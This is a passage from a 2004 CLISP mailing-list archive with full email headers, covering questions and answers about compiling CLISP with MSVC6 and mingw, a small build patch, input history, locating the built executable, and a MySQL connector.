-DDYNAMIC_FFI -DNO_GETTEXT - DNO_SIGSEGV -I. -c spvwtabf.i.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. spvwtabf.i.c subr.d(165) : error C2099: initializer is not a constant subr.d(165) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(166) : error C2099: initializer is not a constant subr.d(166) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(167) : error C2099: initializer is not a constant subr.d(167) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(168) : error C2099: initializer is not a constant subr.d(168) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(169) : error C2099: initializer is not a constant subr.d(169) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(171) : error C2099: initializer is not a constant subr.d(171) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(172) : error C2099: initializer is not a constant subr.d(172) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(173) : error C2099: initializer is not a constant subr.d(173) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(174) : error C2099: initializer is not a constant subr.d(174) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(175) : error C2099: initializer is not a constant subr.d(175) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(176) : error C2099: initializer is not a constant subr.d(176) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' subr.d(177) : error C2099: initializer is not a constant subr.d(177) : warning C4047: 'initializing' : 'unsigned long ' differs in levels of indirection from 'void *' ... ************** _________________________________________________________________ ÓëÁª»úµÄÅóÓѽøÐн»Á÷£¬ÇëʹÓà MSN Messenger: http://messenger.msn.com/cn From pascal@informatimago.com Thu Aug 12 23:15:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvVLs-0001ba-7Q for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 23:15:44 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BvVLr-0002Lt-3G for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 23:15:44 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A662C586E5; Fri, 13 Aug 2004 08:15:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BC2436591D; Fri, 13 Aug 2004 08:15:21 +0200 (CEST) Message-ID: <16668.23673.483159.853520@thalassa.informatimago.com> To: "AI Robot" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] could you help me? a new learner In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 12 23:16:02 2004 X-Original-Date: Fri, 13 Aug 2004 08:15:21 +0200 AI Robot writes: > hi, > when I compiled the /src using MSVC6 in windowXP, the compiler show > something like below. > could you tell me, why? Thank you. I don't know that clisp can be compiled with Microsoft compiler. If I wanted to compile clisp on MS-Windows, I'd install cygwin and compile it with gcc... http://www.cygwin.com/ -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Fri Aug 13 05:50:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvbVY-00035d-Vo for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 05:50:08 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BvbVY-0005n2-FG for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 05:50:08 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7DCnw83022203; Fri, 13 Aug 2004 08:49:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "AI Robot" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (AI Robot's message of "Fri, 13 Aug 2004 03:37:56 +0000") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "AI Robot" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: could you help me? a new learner Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 05:51:01 2004 X-Original-Date: Fri, 13 Aug 2004 08:49:58 -0400 > * AI Robot [2004-08-13 03:37:56 +0000]: > > when I compiled the /src using MSVC6 in windowXP, the compiler show > something like below. clisp builds with mingw (get cygwin and build with "./configure --with-mingw --build build-dir") and mingw binary is faster than the one built with MSVC6. > > ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 > -IC:\PROGRA~ > 1\MICROS~3\VC98/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 > -IC:\PROGRA~1\MI > CROS~3\VC98/PlatformSDK/include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT > -DNO_SIGSE > GV -I. spvwtabf.c > spvwtabf.i.c > cl -G5 -Os -Oy -Ob1 -Gs -Gf -Gy -DUNICODE -DDYNAMIC_FFI > -DNO_GETTEXT - > DNO_SIGSEGV -I. -c spvwtabf.i.c > Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 > Copyright (C) Microsoft Corp 1984-1998. All rights reserved. > > spvwtabf.i.c > subr.d(165) : error C2099: initializer is not a constant > subr.d(165) : warning C4047: 'initializing' : 'unsigned long ' differs > in levels > of indirection from 'void *' please try the appended patch from Arseny Slobodjuck. -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out Index: lispbibl.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v retrieving revision 1.514 retrieving revision 1.515 diff -u -w -b -u -b -w -i -B -r1.514 -r1.515 --- lispbibl.d 4 Jun 2004 11:01:26 -0000 1.514 +++ lispbibl.d 5 Jun 2004 15:46:40 -0000 1.515 @@ -1131,7 +1131,7 @@ #define offsetof(type,ident) ((ULONG)&(((type*)0)->ident)) #endif # Determine the offset of an array 'ident' in a struct of the type 'type': -#ifdef __cplusplus +#if defined (__cplusplus) || defined (MICROSOFT) #define offsetofa(type,ident) offsetof(type,ident) #else #define offsetofa(type,ident) offsetof(type,ident[0]) From dogskin@fastmail.fm Fri Aug 13 06:45:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvcNZ-0008S5-UX for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 06:45:57 -0700 Received: from [202.81.160.17] (helo=outmx1.tri-isys.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BvcNZ-0004QA-I6 for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 06:45:57 -0700 Received: from avmx7.tri-isys.com (avmx7 [202.81.160.77]) by outmx1.tri-isys.com (Postfix) with ESMTP id 4628283B5F for ; Fri, 13 Aug 2004 21:45:49 +0800 (PHT) Received: from localhost (avmx7.tri-isys.com [127.0.0.1]) by avmx7.tri-isys.com (Postfix) with ESMTP id 01EFE539E0 for ; Fri, 13 Aug 2004 21:45:51 +0800 (PHT) Received: from avmx7.tri-isys.com ([127.0.0.1]) by localhost (avmx7.tri-isys.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17395-04 for ; Fri, 13 Aug 2004 21:45:49 +0800 (PHT) Received: from inmx.tri-isys.com (inmx1.tri-isys.com [202.81.160.11]) by avmx7.tri-isys.com (Postfix) with ESMTP id 76FFC53A43 for ; Fri, 13 Aug 2004 21:45:49 +0800 (PHT) Received: from smtp.ispbonanza.com.ph (ipdial-173-234.tri-isys.com [202.81.173.234]) by inmx.tri-isys.com (Postfix) with ESMTP id A709863A9A for ; Fri, 13 Aug 2004 21:45:50 +0800 (PHT) From: "Aldrich Co" To: clisp-list@lists.sourceforge.net Organization: UPM Message-ID: User-Agent: Opera M2/7.53 (Win32, build 3850) Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Virus-Scanned: by amavisd-new at tri-isys.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] history using arrow keys Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 06:46:07 2004 X-Original-Date: Fri, 13 Aug 2004 21:45:46 +0800 hi! i'm new to clisp. i'm not able to view or edit input histories from where I've installed CLISP on (Mandrake 10) -- Principle isn't the main thing in life; it's the only thing. From sds@gnu.org Fri Aug 13 07:03:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvceM-0005CE-7m for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 07:03:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BvceL-0000JI-J4 for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 07:03:18 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7DE3683022144; Fri, 13 Aug 2004 10:03:07 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Aldrich Co" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aldrich Co's message of "Fri, 13 Aug 2004 21:45:46 +0800") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Aldrich Co" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: history using arrow keys Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 07:04:03 2004 X-Original-Date: Fri, 13 Aug 2004 10:03:06 -0400 > * Aldrich Co [2004-08-13 21:45:46 +0800]: > > i'm not able to view or edit input histories from where I've installed > CLISP on (Mandrake 10) did you build CLISP yourself? -- Sam Steingold (http://www.podval.org/~sds) running w2k will write code that writes code that writes code for food From teixeira@cs.orst.edu Fri Aug 13 12:20:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bvhb3-0007F4-Nv for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:20:13 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1Bvhb0-0006wu-7X for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:20:10 -0700 Received: from [128.193.137.62] (128-193-137-62.public.oregonstate.edu [128.193.137.62]) by ghost.CS.ORST.EDU (8.12.8/8.12.10) with ESMTP id i7DJK8vv012170 for ; Fri, 13 Aug 2004 12:20:09 -0700 Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Mike Teixeira X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] clisp executable in win32 version 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 12:21:11 2004 X-Original-Date: Fri, 13 Aug 2004 12:20:34 -0700 Hello, I am building 2.33.2 version of clisp. I finally made it through the makefile with no errors. But now I can't seem to find an executable. I see the ico file but not an exe file. The last thing that the make process did was copy the .ico, .png files to the ../doc directory. What am I missing? Mike Mike Teixeira Office Phone - 541-737-2490 School of EE and CS E-mail - teixeira@cs.orst.edu Oregon State University 220B Dearborn Hall Corvallis, OR 97331 From sds@gnu.org Fri Aug 13 12:32:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bvhmp-0002Sc-Au for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:32:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bvhmo-0007Ox-Ts for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:32:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7DJWA83004453; Fri, 13 Aug 2004 15:32:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mike Teixeira Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Mike Teixeira's message of "Fri, 13 Aug 2004 12:20:34 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Teixeira Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clisp executable in win32 version 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 12:33:01 2004 X-Original-Date: Fri, 13 Aug 2004 15:32:10 -0400 > * Mike Teixeira [2004-08-13 12:20:34 -0700]: > > I am building 2.33.2 version of clisp. I finally made it through the > makefile with no errors. But now I can't seem to find an executable. I > see the ico file but not an exe file. The last thing that the make > process did was copy the .ico, .png files to the ../doc > directory. What am I missing? probably src/lisp.exe? you will need to run it as "src/lisp.exe -M src/lispinit.mem" (replace "src" with your build directory) why aren't you using the provided binary distribution? -- Sam Steingold (http://www.podval.org/~sds) running w2k The program isn't debugged until the last user is dead. From patm@visi.com Fri Aug 13 12:58:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BviCC-0000H5-Uc for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:58:36 -0700 Received: from corb.mc.mpls.visi.com ([208.42.156.1]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BviCC-0002pY-Lj for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 12:58:36 -0700 Received: from isis.visi.com (isis.visi.com [209.98.98.8]) by corb.mc.mpls.visi.com (Postfix) with ESMTP id CDCC18148 for ; Fri, 13 Aug 2004 14:58:33 -0500 (CDT) Received: by isis.visi.com (Postfix, from userid 14328) id A5AD676C56; Fri, 13 Aug 2004 14:58:33 -0500 (CDT) From: Patrick McNamee To: clisp-list@lists.sourceforge.net Message-ID: <20040813195833.GB3866@isis.visi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] clisp-mysql connector Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 12:59:02 2004 X-Original-Date: Fri, 13 Aug 2004 14:58:33 -0500 The question hasn't been asked in awhile, so I'm wondering what the current situation is, and haven't been able to find the answer in the usual ways (FAQ, Google, etc.): is there something out there that provides a way to establish connections from CLisp to MySQL? pm From teixeira@cs.orst.edu Fri Aug 13 13:16:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BviTk-0003LK-OD for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:16:44 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BviTj-0006DL-Dh for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:16:44 -0700 Received: from [128.193.38.69] (x2.CS.ORST.EDU [128.193.38.69]) by ghost.CS.ORST.EDU (8.12.8/8.12.10) with ESMTP id i7DKGevv013739 for ; Fri, 13 Aug 2004 13:16:40 -0700 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Mike Teixeira To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clisp executable in win32 version 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 13:17:09 2004 X-Original-Date: Fri, 13 Aug 2004 13:16:40 -0700 >> * Mike Teixeira [2004-08-13 12:20:34 -0700]: >> >> I am building 2.33.2 version of clisp. I finally made it through the >> makefile with no errors. But now I can't seem to find an executable. I >> see the ico file but not an exe file. The last thing that the make >> process did was copy the .ico, .png files to the ../doc >> directory. What am I missing? > > probably src/lisp.exe? > you will need to run it as > "src/lisp.exe -M src/lispinit.mem" > (replace "src" with your build directory) Awh crap, I should have seen that, thanks. > > why aren't you using the provided binary distribution? I didn't see a binary distribution of 2.33.2 for windows on the sourceforge site. The research group I am building this for wants it to be multi-threaded so they want to use 2.33.2 thanks for your help, mike > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > The program isn't debugged until the last user is dead. > Mike Teixeira Office Phone - 541-737-2490 School of EE and CS E-mail - teixeira@cs.orst.edu Oregon State University 220B Dearborn Hall Corvallis, OR 97331 From sds@gnu.org Fri Aug 13 13:39:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bviq2-0007WG-VE for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:39:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bviq2-0007Se-Hy for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:39:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7DKdb83028144; Fri, 13 Aug 2004 16:39:37 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mike Teixeira Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Mike Teixeira's message of "Fri, 13 Aug 2004 13:16:40 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Teixeira Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clisp executable in win32 version 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 13:40:15 2004 X-Original-Date: Fri, 13 Aug 2004 16:39:37 -0400 > * Mike Teixeira [2004-08-13 13:16:40 -0700]: > >> why aren't you using the provided binary distribution? > > I didn't see a binary distribution of 2.33.2 for windows on the > sourceforge site. there is 2.33.1 for windows, and the only difference between 2.33.1 and 2.33.2 affects Fedora Linux. > The research group I am building this for wants it > to be multi-threaded so they want to use 2.33.2 Unfortunately, CLISP does not offer multi-threading at this time. -- Sam Steingold (http://www.podval.org/~sds) running w2k What's the difference between Apathy & Ignorance? -I don't know and don't care! From sds@gnu.org Fri Aug 13 13:51:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bvj1X-00017r-WB for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:51:39 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bvj1X-0000lU-E3 for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 13:51:39 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7DKpU83001208; Fri, 13 Aug 2004 16:51:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Patrick McNamee Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040813195833.GB3866@isis.visi.com> (Patrick McNamee's message of "Fri, 13 Aug 2004 14:58:33 -0500") References: <20040813195833.GB3866@isis.visi.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Patrick McNamee Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clisp-mysql 